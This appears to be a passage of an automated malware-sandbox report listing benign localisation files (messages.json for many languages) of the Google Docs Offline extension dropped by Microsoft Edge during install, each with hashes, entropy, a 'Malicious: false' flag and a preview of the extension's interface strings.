SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

